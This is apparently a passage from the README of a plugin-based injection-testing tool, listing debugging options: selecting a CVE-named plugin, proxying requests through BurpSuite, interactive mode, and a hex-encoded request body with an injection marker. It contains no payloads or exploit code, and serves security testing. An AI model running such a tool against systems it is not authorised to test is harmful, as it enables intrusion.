New plugins are always welcome in PRs

Debugging tips

• Use -e/--engine option with the name of the plugin's class, e.g. -e CVE_2024_6386 to use a specific plugin
• Use -p/--proxy option with BurpSuite or a similar tool to see the requests, e.g. -p http://127.0.0.1:8080
• Use interactive mode (-i/--interactive) to preserve settings between runs. Use run to run tests and reload to reload plugins from disk (e.g. after some changes)
• Use --data-type fromhex to provide request body as hex-encoded string with * as injection marker, if body format is not supported otherwise, e.g. --data-type fromhex --data E29885C2AB*C2BBE29885
